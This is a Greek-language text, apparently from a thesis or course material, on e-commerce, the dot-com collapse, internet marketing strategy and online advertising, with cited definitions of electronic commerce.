Κατά το στάδιο αυτό οι εταιρείες πειραματίζονται, έχουν πολύ λίγες γνώσεις για τη χρησιμοποίηση του Internet ως εργαλείο της δουλειάς τους και δεν έχουν ακόμα υπολογίσει τους πόρους που σκοπεύουν να επενδύσουν στην επιχειρηματική αξιοποίηση του Internet. Ο δικτυακός τόπος κάθε επιχείρησης αποτελεί τον πυρήνα της δικτυακής παρουσίας και προβολής της. Οι ηλεκτρονικές σελίδες του χρησιμοποιούνται για να: Παρουσιάζουν την δομή, το αντικείμενο δραστηριότητας και τα ανταγωνιστικά πλεονεκτήματα της επιχείρησης. Ενημερώνουν κάθε ενδιαφερόμενο για τα προϊόντα της επιχείρησης (είδη, τιμές, προδιαγραφές, ειδικές προσφορές κ.λπ.). Ενισχύουν και υποστηρίζουν την επικοινωνία με πελάτες, επενδυτές συνεργάτες κ.λπ. Το περιεχόμενο κάθε δικτυακού τόπου διαφέρει ανάλογα με το αντικείμενο δραστηριότητας της επιχείρησης και τους πόρους που διατίθενται για τη συντήρησή του.

Ωστόσο, υπάρχουν κάποια στοιχεία τα οποία δεν πρέπει να λείπουν από καμία σοβαρή εταιρική παρουσίαση. Αυτά είναι: 1.

Εκτενής αναφορά στην εταιρική δομή και λειτουργία (διοίκηση, οικονομικά στοιχεία,

εταιρική ιστορία κ.λπ.). 2.

Γενική περιγραφή του αντικειμένου δραστηριότητας της επιχείρησης και των

ιδιαίτερων χαρακτηριστικών χάρη στα οποία διαφέρει από τις άλλες και υπερέχει του ανταγωνισμού. 3.

Αναλυτική παρουσίαση όλων των προϊόντων της εταιρείας και παροχή υπηρεσιών

τεχνικής υποστήριξης γι' αυτά (πχ. οδηγοί χρήσης, δημοσίευση απαντήσεων σε συνηθισμένες ερωτήσεις κ.λπ.) 4.

Φόρμες επικοινωνίας και άλλα στοιχεία τα οποία διευκολύνουν τον επισκέπτη να

έρθει σε επαφή με την επιχείρηση (email, διεύθυνση γραφείων, τηλέφωνα, fax κ.λπ.). Η δημοτικότητα και η ευχρηστία του δικτυακού τόπου ωφελούνται επίσης από τα παρακάτω: Τακτική δημοσίευση των νέων της επιχείρησης και ειδήσεων που σχετίζονται άμεσα ή έμμεσα με αυτήν. Παροχή χρήσιμων πληροφοριών για θέματα τα οποία απασχολούν τους τρέχοντες ή τους μελλοντικούς πελάτες της Καταχώρηση του δικτυακού τόπου στις μηχανές αναζήτησης του Internet. Διαφήμιση του δικτυακού τόπου εντός και εκτός δικτύου (αγορά διαφημιστικών banners, χορηγίες σε άλλους δικτυακούς τόπους, αναφορά της διεύθυνσης του δικτυακού τόπου στο διαφημιστικό υλικό της επιχείρησης κ.λπ.). Πολλές επιχειρήσεις, αφού πρώτα αποκτήσουν την εμπειρία του Internet και κατανοήσουν την δυναμική του, προχωρούν σε αξιοποίηση των τεχνικών του δυνατοτήτων του Internet, αναπτύσσοντας εξειδικευμένες εφαρμογές οι οποίες διευκολύνουν συγκεκριμένες λειτουργίες της εταιρίας. Κατά το στάδιο αυτό, οι εταιρείες έχουν μάθει να χρησιμοποιούν το Internet ως εργαλείο της δουλειάς τους, έχουν πιθανώς (και ανάλογα με το μέγεθος τους) αξιοποιήσει το Internet για να

διευκολύνουν

επιχειρηματικές

τους

λειτουργίες

και

διακρίνουν

σημαντικές

επιχειρηματικές ευκαιρίες από την πιο δυναμική επιχειρηματική τους δραστηριοποίηση με την εφαρμογή του Ηλεκτρονικού Εμπορίου. Μία επιχείρηση μπορεί να εφαρμόσει το ηλεκτρονικό εμπόριο με δύο τρόπους: Πουλώντας τα προϊόντα ή υπηρεσίες της απευθείας μέσω του Internet σε λιανικούς πελάτες. Αυτή η μορφή ηλεκτρονικού εμπορίου, ονομάζεται B2C - Business to Consumer. Διενεργώντας εμπορικές πράξεις ηλεκτρονικά με άλλες επιχειρήσεις (αγορά ή πώληση προμηθειών από

επιχείρηση σε επιχείρηση), Αυτή η μορφή ηλεκτρονικού εμπορίου, ονομάζεται Β2Β - Business to Business. Η εφαρμογή του ηλεκτρονικού εμπορίου της μορφής B2C απαιτεί την ανάπτυξη ενός εξειδικευμένου δικτυακού τόπου (WEB Site) ο οποίος διαθέτει όλα τα χαρακτηριστικά και δυνατότητες που απαιτούνται για την διεκπεραίωση On-line συναλλαγών. Η διαφορά από έναν απλό εταιρικό Δικτυακό τόπο, είναι ότι σε μία εφαρμογή ηλεκτρονικού εμπορίου, πέρα από την παρουσίαση προϊόντων ή υπηρεσιών δίνεται η δυνατότητα για συναλλαγές (αγορά ή πώληση) και η διακίνηση χρηματικών ποσών για τον σκοπό αυτό. Η εφαρμογή του ηλεκτρονικού εμπορίου της μορφής B2B απαιτεί είτε την ανάπτυξη εξειδικευμένων εφαρμογών ηλεκτρονικού εμπορίου, είτε την συμμετοχή της εταιρίας σε ηλεκτρονικές αγορές (electronic marketplaces) οι οποίες υποστηρίζουν ηλεκτρονικό εμπόριο B2B. Το ηλεκτρονικό εμπόριο είναι μία ιδιαίτερα σοβαρή επιχειρηματική κίνηση, όπου η επιχείρηση απευθύνεται σε ένα νέο τύπο πελατών, τους «ηλεκτρονικούς πελάτες», οι οποίοι έχουν τα δικά τους ιδιαίτερα χαρακτηριστικά και απαιτήσεις. Ο χώρος των ηλεκτρονικών πωλήσεων απαιτεί προσεκτικά βήματα, καλή προετοιμασία και μεγάλη

αποφασιστικότητα,

καθώς

είναι

δύσκολος

και

εγκυμονεί

κινδύνους.

Μακροπρόθεσμα όμως έχει τις δυνατότητες να αποφέρει τεράστια κέρδη σε όσους επενδύσουν προσεκτικά. Η εμφάνιση του Internet και η ταχεία ανάπτυξη υπηρεσιών που βασίζονται στον παγκόσμιο Ιστό έφερε γενική ευφορία τόσο στις επιχειρήσεις που δραστηριοποιούταν στον χώρο του Internet, όσο και στον επιχειρηματικό κόσμο γενικότερα, και αυτό γιατί τα διαφαινόμενα πλεονεκτήματα ήταν πολύ μεγάλα. Ειδικά για το Ηλεκτρονικό Εμπόριο, η δυνατότητα να απευθυνθεί μία επιχείρηση στην παγκόσμια αγορά, να ξεφύγει από γεωγραφικούς περιορισμούς, να επεκταθεί χωρίς τεράστιες επενδύσεις και να αυξήσει τα κέρδη της, ήταν πολύ ελκυστική. Δημιουργήθηκαν επομένως μεγάλες προσδοκίες τόσο στις ίδιες τις επιχειρήσεις που θα εφάρμοζαν το ηλεκτρονικό εμπόριο, όσο και στις εταιρίες Internet οι οποίες θα παρείχαν τις τεχνικές λύσεις και τα απαραίτητα συστήματα για την εφαρμογή του ηλεκτρονικού εμπορίου. Αποτέλεσμα των μεγάλων προσδοκιών ήταν η υλοποίηση μεγάλων επενδύσεων στον χώρο, η δημιουργία πολλών Ιντερνετικών επιχειρήσεων, οι οποίες προσδοκούσαν την ταχεία υιοθέτηση του ηλεκτρονικού εμπορίου, από το κοινό του Internet και τους καταναλωτές. Η πραγματικότητα όμως διέψευσε τις μεγάλες προσδοκίες. Για μία σειρά λόγων μερικούς από τους οποίους θα αναφέρουμε στην συνέχεια, οι καταναλωτές δεν ανταποκρίθηκαν όπως

αναμενόταν και οι αυτές καθ' αυτές πωλήσεις μέσω του διαδικτύου ήταν πολύ λιγότερες από τις αναμενόμενες. Πολλές από τις επιχειρήσεις του χώρου οι οποίες είχαν κάνει μεγάλες επενδύσεις έκλεισαν και γενικά παρατηρήθηκε η κατάρρευση των Ιντερνετικών επιχειρήσεων, η οποία αποτυπώθηκε και στην πτώση του δείκτη εταιριών υψηλής τεχνολογίας στις Η.Π.Α. (NASDAQ). Αυτό δεν σημαίνει ότι όλες οι επιχειρήσεις απέτυχαν στην προσπάθειά τους να εφαρμόσουν το Ηλεκτρονικό Εμπόριο. Υπάρχουν πάρα πολλά επιτυχημένα παραδείγματα από επιχειρήσεις οι οποίες ερμήνευσαν σωστά τις αντιδράσεις των καταναλωτών, αναπροσδιόρισαν τις προσδοκίες και τις ενέργειές τους και κατάφεραν να αποκομίσουν σημαντικά οφέλη από την εφαρμογή του Ηλεκτρονικού Εμπορίου. Χαρακτηριστικό παράδειγμα είναι το ηλεκτρονικό βιβλιοπωλείο Amazon.com το οποίο είναι σήμερα η μεγαλύτερη αμιγώς ηλεκτρονική επιχείρηση στον κόσμο. Αυτό που θα πρέπει να γνωρίζουν οι επιχειρηματίες είναι ότι το Amazon.com τα πρώτα χρόνια της λειτουργίας του όχι μόνο δεν παρουσίαζε κέρδη, αλλά αντίθετα είχε πολλές ζημιές. Η επιμονή όμως και η σωστή στρατηγική επέκτασης οδήγησε μεσοπρόθεσμα στην επιχειρηματική επιτυχία, στην κερδοφορία και στην καθιέρωση της επιχείρησης σαν την πρωτοπόρο στον χώρο. Τα προβλήματα που παρατηρήθηκαν στα πρώτα χρόνια ανάπτυξης του Ηλεκτρονικού Εμπορίου οδήγησαν σε επαναπροσδιορισμό των προσδοκιών και στο ξεκίνημα μιας πιο ώριμης περιόδου. Η διερεύνηση των λόγων για τους οποίους διαψεύστηκαν οι αρχικές προσδοκίες σε σχέση με το ηλεκτρονικό εμπόριο, οδηγούν σε χρήσιμα συμπεράσματα σε σχέση με παράγοντες που επηρεάζουν ή όχι την επιτυχία επιχειρηματικών προσπαθειών στον χώρο του ηλεκτρονικού εμπορίου. Αναλύοντας εκ των υστέρων το τι έγινε στην πρώτη περίοδο ανάπτυξης του ηλεκτρονικού εμπορίου μπορούμε να παρατηρήσουμε τα ακόλουθα: Οι επενδύσεις που απαιτήθηκαν ήταν μεγαλύτερες από τις αρχικά υπολογιζόμενες και δεν ήταν μόνο σε συστήματα και ηλεκτρονικές εφαρμογές αλλά και σε θέματα που αφορούν τον ανασχεδιασμό επιχειρηματικών λειτουργιών. Πολλές από τις επιχειρήσεις που αγνόησαν αυτή την αναγκαιότητα κατάληξαν στο να έχουν μεγάλες ζημιές. Διαφορετικές ονομασίες του Internet Marketing. Στην Ελλάδα πολλές φορές χρησιμοποιούμε διαφορετικούς όρους αντί για τον όρο Internet Marketing, όπως: Digital Marketing,

Web Marketing, Online Marketing, E-Marketing, κ.ά. Επί το πλείστον, χρησιμοποιείται ο όρος προώθηση ιστοσελίδων, ο οποίος όμως είναι ανακριβής. Στόχοι Η σημασία των νέων ηλεκτρονικών μέσων και τεχνολογιών, ειδικότερα δε της χρήσης του διαδικτύου για το marketing έγκειται στη δυνατότητα αύξησης μέσω αυτών των κερδών της επιχείρησης. Η αύξηση δε του κέρδους μπορεί να επιτευχθεί μέσα από ένα πρόγραμμα marketing που θα επικεντρώνεται στους εξής στόχους: 1. την αύξηση των συναλλαγών και των πωλήσεων (π.χ. με την προσαρμογή των προϊόντων στα ζητούμενα των πελατών, τη διεύρυνση της αγοράς των πελατών, την αμφίδρομη επικοινωνία) 2. τη μείωση του κόστους των συναλλαγών (π.χ. με την εξάλειψη μεσαζόντων, νέα κανάλια ηλεκτρονικής διανομής για ορισμένα προϊόντα, εικονικά καταστήματα) 3.

την

πώληση

των

ιδίων

πληροφοριών

(π.χ.

στα

συναλλακτικά

συστήματα

χρηματοοικονομικών υπηρεσιών) καθώς και 4. την αναβάθμιση της επικοινωνίας με την αγορά στόχο, γεγονός που θα αυξήσει το κέρδος και θα μειώσει το κόστος των επιχειρησιακών συναλλαγών. Ιδιαιτερότητες Οι βασικές ιδιαιτερότητες στο marketing μέσω του Internet είναι ότι: το δυναμικό της αγοράς ανέρχεται σε μερικές δεκάδες εκατομμύρια ανθρώπους διασκορπισμένους γεωγραφικά που χρησιμοποιούν διαφορετικές γλώσσες, έχουν διαφορετική θρησκεία και διαφορετικές συνήθειες, ήθη και έθιμα. ο πελάτης επιλέγει μόνος του την πληροφόρηση, τον χρόνο και τη διάρκεια έκθεσης. η διανομή για ορισμένα προϊόντα γίνεται μέσω του διαδικτύου ηλεκτρονικά, άρα υπάρχει μειωμένο κόστος και ταχύτητα παράδοσης. Καταναλωτικό Κοινό Με ακόμα περισσότερες επιλογές και διαθεσιμότητα προϊόντων σε συνδυασμό με το μορφωτικό τους επίπεδο και τις διαφορετικές συνήθειες και αγοραστικά τους ενδιαφέροντα, οι πελάτες γίνονται λιγότερο πιστοί σε μία συγκεκριμένη επιχείρηση. Εκδηλώνουν την επιθυμία να αλλάξουν συνεχώς προτιμήσεις στα προϊόντα και τις υπηρεσίες. Εάν και αυτό μπορεί να ειδωθεί ως μία απειλή για τα έσοδα μιας εταιρίας, στην ουσία είναι ένας τρόπος για την απόκτηση μεγαλύτερου μεριδίου αγοράς σε σχέση με τους ανταγωνιστές, διότι με το

e-Marketing δίνεται η ευκαιρία εκμετάλλευσης των στρατηγικών πλεονεκτημάτων γρήγορα και αποτελεσματικά, με τις δυνατότητες που μας δίνει η συνεχώς εξελισσόμενη τεχνολογία του Διαδικτύου. Επισκέπτες Website Οι επισκέπτες ενός site μπορεί να είναι φοιτητές, μαθητές, επενδυτές, δημοσιογράφοι, εργάτες, πωλητές, συνέταιροι marketing ή συνέταιροι πωλήσεων καναλιών, κ.ο.κ. Όλοι αυτοί ψάχνουν για κάτι διαφορετικό. Τα media θέλουν την ιστορία και την πλέξη της εταιρίας. Οι φοιτητές και οι μαθητές ψάχνουν για την μεγάλη εικόνα, τις τάσεις, τις τεχνολογίες και τις μετακινήσεις στον χώρο της αγοράς. Οι επενδυτές θέλουν τα οικονομικά και την ασφάλεια. Το εργατικό δυναμικό θέλει να ξέρει για την συλλογική κουλτούρα και τις ευκαιρίες εργασίας. Οι πωλητές θέλουν να ξέρουν τι πωλείται για να αποφασίσουν εάν αυτό είναι μία προσδοκία για τα αγαθά και τις υπηρεσίες τους. Οι συνέταιροι marketing και οι συνέταιροι καναλιών θέλουν τα τελευταία marketing υλικά και πληροφορίες προϊόντος. Websites & Ποιοτική Επισκεψιμότητα Κάθε website δημιουργείται για να εξυπηρετήσει έναν τουλάχιστον στόχο, συνήθως είναι η αύξηση του κέρδους της επιχείρησης ή η βελτίωση του ονόματός της, brand name. Για να επιτευχθούν αυτοί οι στόχοι, τα websites κατασκευάζονται, ή θα πρέπει να κατασκευάζονται, ώστε να διευκολύνουν την μετατροπή των επισκεπτών σε πελάτες ή σε ενδιαφερόμενους. Η μετατροπή των επισκεπτών σε πελάτες είναι αρκετά απλή και εύκολη. Κατασκευάζοντας ένα website το οποίο πουλάει προϊόντα ή υπηρεσίες, κάποιοι από τους επισκέπτες πείθονται να κάνουν μια online αγορά. Η μετατροπή των επισκεπτών σε ενδιαφερόμενους είναι λίγο πιο δυσνόητη. Υπάρχουν πολλές επιχειρήσεις οι οποίες δημιουργούν ένα website όχι για να πουλήσουν online αλλά για να «πιάσουν» τον υποψήφιο πελάτη στην αρχή της διαδικασίας της αγοράς, κλπ. Για να δημιουργήσουν ενδιαφερόμενους, τα websites κατασκευάζονται με σκοπό ο επισκέπτης: να δώσει το email του, ή να κατεβάσει ένα ebook ή whitepaper, ή να κατεβάσει ένα trial πρόγραμμα, ή να δημιουργήσει λογαριασμό στο website, ή να γίνει μέλος στα social media της επιχείρησης, κλπ. Έτσι, για να αυξηθούν οι πιθανότητες οι επισκέπτες ενός website να αγοράσουν online ή να γίνουν ενδιαφερόμενοι, θα πρέπει να ενδιαφέρονται πραγματικά για τα προϊόντα της επιχείρησης ή για την δραστηριότητά της γενικότερα. Αυτοί οι επισκέπτες είναι οι ποιοτικοί

επισκέπτες, αυτοί αποτελούν την ποιοτική επισκεψιμότητα και με το Internet Marketing αυξάνονται. Στρατηγική e-Marketing To marketing και οι πωλήσεις μέσα από το διαδίκτυο κάνουν ακόμα τα πρώτα τους βήματα. Οι εταιρίες βρίσκονται σε μια κατάσταση ανασφάλειας και δοκιμάζουν την εισαγωγή των προϊόντων και υπηρεσιών τους στο Internet, πιστεύοντας ότι το τόλμημα τους θα αποβεί οπωσδήποτε επιτυχές. Όμως, η εξέλιξη και η ανάπτυξη του Μάρκετινγκ και των πωλήσεων μέσα από το διαδίκτυο δεν υπήρξε τόσο μεγάλη, όσο αναμενόταν, με αποτέλεσμα για τις περισσότερες επιχειρήσεις στην Ελλάδα να σημαίνει απλά την παρουσία τους με μια ηλεκτρονική σελίδα.

Διαφημίσεις Η ηλεκτρονική διαφήμιση παρουσιάζεται με πολλές μορφές μέσα στο διαδίκτυο. Ο συνδυασμός των μορφών αυτών από μία επιχείρηση μπορεί να της επιφέρει ένα ολοκληρωμένο και πλήρως οργανωμένο online διαφημιστικό πρόγραμμα. Η επιχείρηση μπορεί να αποκτήσει μία καθ’ όλα δυναμική παρουσία στο χώρο του Διαδικτύου και μια αποτελεσματική προβολή των προϊόντων της, μέσα από τον προσεκτικό σχεδιασμό του ηλεκτρονικού διαφημιστικού προγράμματος και την επιλογή των κατάλληλων online μέσων προβολής. Η προσδοκία του εύκολου κέρδους στα πλαίσια της νέας οικονομίας, οδήγησε επιχειρήσεις στην υλοποίηση επενδύσεων χωρίς σχεδιασμό και στρατηγική. Τελικά αποδείχθηκε ότι οι νόμοι της παλιάς οικονομίας ισχύουν και στην νέα και ότι δεν υπάρχουν μαγικές λύσεις που φέρνουν εύκολο και γρήγορο κέρδος. Σε σχέση με το παραπάνω σημείο πρέπει να αναφέρουμε ότι δόθηκε ιδιαίτερη έμφαση στην τεχνολογία και τις τεχνικές δυνατότητες και πολύ λιγότερο στην επιχειρηματική διάσταση των προσπαθειών στον χώρο του ηλεκτρονικού εμπορίου. Αποδείχθηκε ότι η ύπαρξη και μόνο της τεχνολογίας δεν μπορεί να «πουλήσει» προϊόντα. Οι καταναλωτές δεν «έτρεξαν» να αγοράσουν προϊόντα από ηλεκτρονικά καταστήματα. Αυτό έγινε για τρεις βασικά λόγους: α) υπήρχε αβεβαιότητα για το προϊόν που πραγματικά αγόραζαν β) δεν υπήρχαν σε πολλές περιπτώσεις κίνητρο για να αγοράσει κάποιος/α On-line (για παράδειγμα χαμηλότερες τιμές, ή ειδικές προσφορές) και γ) υπήρξε σκεπτικισμός για θέματα ασφάλειας στων ηλεκτρονικών συναλλαγών και διαρροής δεδομένων όπως τα στοιχεία των πιστωτικών καρτών.

Μία επιχείρηση που ήταν γνωστή στην τοπική της αγορά, ήταν άγνωστη στην παγκόσμια αγορά του Internet. Έπρεπε επομένως να «πείσει» τους δικτυακούς πελάτες

και

να

επενδύσει ακόμη περισσότερο για να χτίσει σχέσεις «εμπιστοσύνης», πολύ περισσότερο όταν στο Internet δεν είχε μόνο να αντιμετωπίσει τους τοπικούς ανταγωνιστές αλλά ανταγωνιστές από όλο τον κόσμο. Ερασιτεχνικές επομένως προσπάθειες καταδικάστηκαν από την αρχή σε αποτυχία, κάτι το οποίο έφερε απογοήτευση σε σχέση πάντα με τις προσδοκίες που είχαν καλλιεργηθεί. Οι επιχειρήσεις που εφάρμοσαν επιτυχημένα το ηλεκτρονικό εμπόριο έως σήμερα, φαίνεται ότι χρησιμοποίησαν την τεχνολογία ως μέσο και όχι ως αυτοσκοπό, σε μία οργανωμένη και σχεδιασμένη επιχειρηματική προσπάθεια η οποία δημιουργούσε κίνητρα και υπεραξία στους δικτυακούς καταναλωτές. Η εξάπλωση της χρήσης υπολογιστών και του Internet σε συνδυασμό με το γεγονός ότι η νέα γενιά είναι ψηφιακά εκπαιδευμένη, δημιουργεί το υπόβαθρο για την ανάπτυξη της ηλεκτρονικής επιχειρηματικότητας. Επιτυχία της κάθε ηλεκτρονικής επιχειρηματικής προσπάθειας εξαρτάται όμως από τον σωστό σχεδιασμό και την επένδυση τόσο σε οργάνωση όσο και σε τεχνολογία. Το παρελθόν έχει δείξει ότι τίποτε δεν είναι τυχαίο, ούτε και σίγουρο. Αυτό που σήμερα γνωρίζουμε και το οποίο δείχνει τις μελλοντικές τάσεις είναι ότι το Internet είναι το μεγαλύτερο παγκόσμιο δίκτυο το οποίο διασύνδεει εκατομμύρια ανθρώπους και ότι οι

χρήστες

του,

το

χρησιμοποιούν

ως

μέσο

αναζήτησης

πληροφοριών,

συμπεριλαμβανομένων και πληροφοριών για προϊόντα ή υπηρεσίες που πρόκειται να αγοράσουν. Είναι σύνηθες οι καταναλωτές οι οποίοι χρησιμοποιούν Internet, να κάνουν μία έρευνα αγοράς μέσω του διαδικτύου και εν συνεχεία αφού αποφασίσουν τι ακριβώς θέλουν, να πάνε και να το αγοράζουν από συμβατικά και όχι ηλεκτρονικά καταστήματα. Η εξάλειψη της αβεβαιότητας και γενικά των λόγων οι οποίοι «παρεμποδίζουν» τους χρήστες του Internet από το να κάνουν απ ευθείας ηλεκτρονικές αγορές αναμένεται να δώσει ακόμη μεγαλύτερη ώθηση στο ηλεκτρονικό εμπόριο και γενικά τις συναλλαγές μέσω Internet.

Διαφήμιση στις μηχανές αναζήτησης Η επίδραση της online διαφήμισης στις offline πωλήσεις Πρόκληση για όλους τους διαδικτυακούς διαφημιστές αποτελεί η αποτίμηση της επίδρασης του online marketing στις offline συναλλαγές, τις πωλήσεις δηλ. του παραδοσιακού εμπορίου. Καθώς οι "φυσικές" επιχειρήσεις αυξάνουν όλο και περισσότερο την επένδυσή τους σε διαφήμιση στο Διαδίκτυο, η επίδραση στον όγκο των πωλήσεών τους γίνεται ολοφάνερη. Ο

όμιλος Procter & Gamble και η εταιρία Information Resources, Inc. συνεργάστηκαν με σκοπό να μετρήσουν την επίδραση της online διαφήμισης σε διάφορες επιχειρήσεις που δεν πραγματοποιούσαν ηλεκτρονικές πωλήσεις. Το τεστ διήρκεσε 16 εβδομάδες και συνέκρινε ένα γκρουπ καταναλωτών που υποβλήθηκε στην προβολή τριών τουλάχιστον online διαφημίσεων, με μια δεύτερη ομάδα που δεν τις είδε. Επίδραση της online διαφήμισης Η επίδραση της online διαφήμισης στην ενίσχυση του εμπορικού ονόματος. Τρεις ανεξάρτητες μελέτες κατέληξαν στο συμπέρασμα ότι η προβολή διαφημιστικών banner στο Διαδίκτυο "εντυπώνει" σε μεγάλο βαθμό ένα εμπορικό όνομα στη συνείδηση των καταναλωτών. Η Dynamic Logic, μια εταιρία online ερευνών που εξειδικεύεται στη μέτρηση της αποτελεσματικότητας των διαφημίσεων στο Internet, απέδειξε ότι τα banner ενισχύουν το όνομα μιας επιχείρησης (brand name) κατά 6% μ.ο. Το αποτέλεσμα αυτό βασίστηκε σε περισσότερες από 18.000 έρευνες και καλύπτει πολλαπλές κατηγορίες προϊόντων. Η ίδια εταιρία, εξετάζοντας τη μελέτη παραδείγματος του Travelocity, ενός από τους κορυφαίους online παρόχους ταξιδιωτικών υπηρεσιών παγκοσμίως, έδειξε θεαματικά αποτελέσματα. Η διαφημιστική εκστρατεία του Travelocity στο Διαδίκτυο ενίσχυσε το όνομα της επιχείρησης κατά 16%. Αποδοτικότερη Θέση Διαφήμισης Μία μελέτη διαφημίσεων στο Web που έγινε από το Πανεπιστήμιο του Michigan έδειξε ότι διαφημίσεις που τοποθετούνται στην κάτω δεξιά γωνία της οθόνης, δίπλα στην γραμμή κύλισης , παράγουν 228% περισσότερα κλικ από διαφημίσεις που προστίθενται στην κορυφή της σελίδας. Η μελέτη βρήκε επίσης ότι διαφημίσεις που τοποθετούνται στο κάτω ένα τρίτο της σελίδας είχαν 77% μεγαλύτερο αριθμό κλικ σε σχέση με διαφημίσεις που τοποθετούνται στην κορυφή της σελίδας όπου τοποθετούνται συνήθως οι διαφημίσεις. Ο Andrew Kind, Webmaster του Athenia, ανέφερε ότι ο μεγαλύτερος αριθμός κλικ γίνεται στις διαφημίσεις που τοποθετούνται στην ‘ζώνη κλικαρίσματος’, εκεί που το ποντίκι του χρήστη είναι τοποθετημένο φυσικά. Πλεονεκτήματα Στο Διαδίκτυο έχουν δημιουργηθεί αρκετά νέα επιχειρηματικά σχήματα όπως ψηφιακές ηλεκτρονικές αγορές και οι ηλεκτρονικές δημοπρασίες. Όμως, ο μεγάλος αντίκτυπος του Διαδικτύου ήταν και εξακολουθεί να είναι στην αναμόρφωση των βιομηχανιών που αντιμετώπιζαν περιορισμούς από τα υψηλά κόστη επικοινωνίας, αναζήτησης πληροφορίας και ολοκλήρωσης συναλλαγών.

Το Διαδίκτυο είναι, κατά κύριο λόγο, μία τεχνολογία ενδυνάμωσης -enabling technology, ένα πολύ ισχυρό σύνολο εργαλείων που μπορούν να χρησιμοποιηθούν συνετά ή σε κάθε βιομηχανία ως μέρος σχεδόν κάθε στρατηγικής. Οι διαδικτυακές τεχνολογίες προσφέρουν σημαντικές ευκαιρίες στις επιχειρήσεις για την απόκτηση διακριτών ανταγωνιστικών θέσεων, όπου δεν απαιτείται μία ριζικά νέα προσέγγιση στην επιχειρηματικότητα αλλά το χτίσιμο θέσεων οι οποίες θα στηρίζονται πάνω σε αποδεδειγμένες αρχές της αποτελεσματικής στρατηγικής. Tο μέλλον του e-Marketing Το αύριο θα φέρει νέες μεθόδους επικοινωνίας, νέες ανταγωνιστικές προκλήσεις και νέες απαιτήσεις από τους καταναλωτές. Γι’ αυτό πρέπει να έχουμε ανοιχτό μυαλό. Η προσδοκία της κοντινής - παγκόσμιας σύνδεσης , είναι περισσότερη φανερό διευκρινισμένο σήμερα από το Internet, επαναπροσδιορίζει τουλάχιστο τα τρία από τα τέσσερα P’s του Marketing αμέσως, τα οποία είχαμε αναφέρει παραπάνω, και πιθανά το τέταρτο έρχεται μετέπειτα. Αν η πλειοψηφία των πελατών εκθέτει κάθε προβλεπόμενη συμπεριφορά τους σύμφωνα με τα δίκτυά τους, ο τόπος της εκτέλεσης της εργασίας γίνεται λογικός, όχι μόνο αληθινός.

Η Προώθηση ( Promotion ) πρέπει να αναγνωρίσει αυτή τη συμπεριφορά και τουλάχιστον να προσθέσει μία καινούργια διάσταση, με την οποία θα στρέψει την διαφήμιση στην πρόταση ότι το καλύτερο παρουσία δικτύου είναι ένα πλούσιο και χρήσιμο περιεχόμενο. Το Προϊόν ( Product ) θα αναπτυχθεί σταδιακά με διάφορους τρόπους που δίνουν έμφαση στα χαρακτηριστικά που είναι βασισμένο στο δίκτυο εργασίας, είτε αυτό είναι διανομή του software για να καθιστά ικανό το απομακρυσμένο έλεγχο της εισόδου πάνω από τις μακρινές πορείες, είτε η υπηρεσία / το προϊόν επεκτείνεται στο χώρο του δικτύου. Σε μικρό χρονικό διάστημα , καθώς αυτές οι εξελίξεις προσελκύουν περισσότερους ανθρώπους στο χώρο του δικτύου , η Τιμή ( Price ) θα βασίζεται σε ένα εντελώς νέο κομμάτι μεταβολών. Έτσι, στην πορεία , η πειθαρχία θα βασιστεί στις τέσσερις βασικές απόψεις. Εκείνες οι απόψεις θα επαναπροσδιοριστούν κατά το πέρασμα του χρόνου. Τα τελευταία χρόνια το Διαδίκτυο προσέφερε στις επιχειρήσεις ένα νέο φάσμα δυνατοτήτων επικοινωνίας, διείσδυσης και ανάπτυξής τους. (Koyuncu & Lien, 2003).Ο όρος ηλεκτρονικό επιχειρείν, υιοθετήθηκε προκειμένου να διακρίνει τις επιχειρήσεις που επενδύουν στη διεξαγωγή των δραστηριοτήτων τους µέσω των τηλεπικοινωνιακών δικτύων, των υπολογιστών και του Internet, από εκείνες που χρησιμοποιούν παραδοσιακά μέσα και μεθόδους.

Υπάρχουν αρκετοί γενικοί όροι για την περιγραφή του ηλεκτρονικού εμπορίου αλλά στην ουσία ηλεκτρονικό εμπόριο είναι η δυνατότητα των καταναλωτών και των εμπορικών καταστημάτων να διεξάγουν εμπορικές συναλλαγές μέσω του Διαδικτύου. Το ηλεκτρονικό εμπόριο ορίζεται ως «η διαδικασία της αγοράς και πώλησης ή ανταλλαγής αγαθών, υπηρεσιών και πληροφοριών μέσω δικτύων υπολογιστών, συμπεριλαμβανομένου και του διαδικτύου» (Turban, 2004). Παρότι δείχνει απλός, θα πρέπει να επικεντρωθούμε σε τρία βασικά σημεία του: Το πρώτο σημαντικό σημείο του ορισμού που αναφέρεται παραπάνω αφορά τα μέσα πραγματοποίησης του ηλεκτρονικού εμπορίου. Το διαδίκτυο αποτελεί ένα από αυτά, δεν είναι όμως το μοναδικό. Στα μέσα του ηλεκτρονικού εμπορίου συγκαταλέγονται, επίσης, το τηλέφωνο, η τηλεόραση, η τηλεομοιοτυπία. (Bacchetta, 1998) Το διαδίκτυο παρέχει διάφορα πλεονεκτήματα κατά την πραγματοποίηση μιας εμπορικής συναλλαγής. Έχει, όμως, ως αποτέλεσμα την ταύτιση του ηλεκτρονικού εμπορίου με το μέσο αυτό. Το διαδίκτυο επιτρέπει την ταυτόχρονη μετάδοση φωνής, εικόνας και κειμένου με εφαρμογές πολυμέσων και για αυτό το λόγο διευρύνει το φάσμα των αγαθών και υπηρεσιών από απόσταση ενώ επιτρέπει την πραγματοποίηση του συνόλου μιας εμπορικής συναλλαγής μέσω αυτού. Το δεύτερο βασικό σημείο του ορισμού που αναφέρθηκε είναι η έννοια της διαδικασίας. Μια εμπορική συναλλαγή έχει τρεις διακριτές φάσεις: ·

την παραγγελία,

·

την πληρωμή και

·

την παράδοση του προϊόντος.

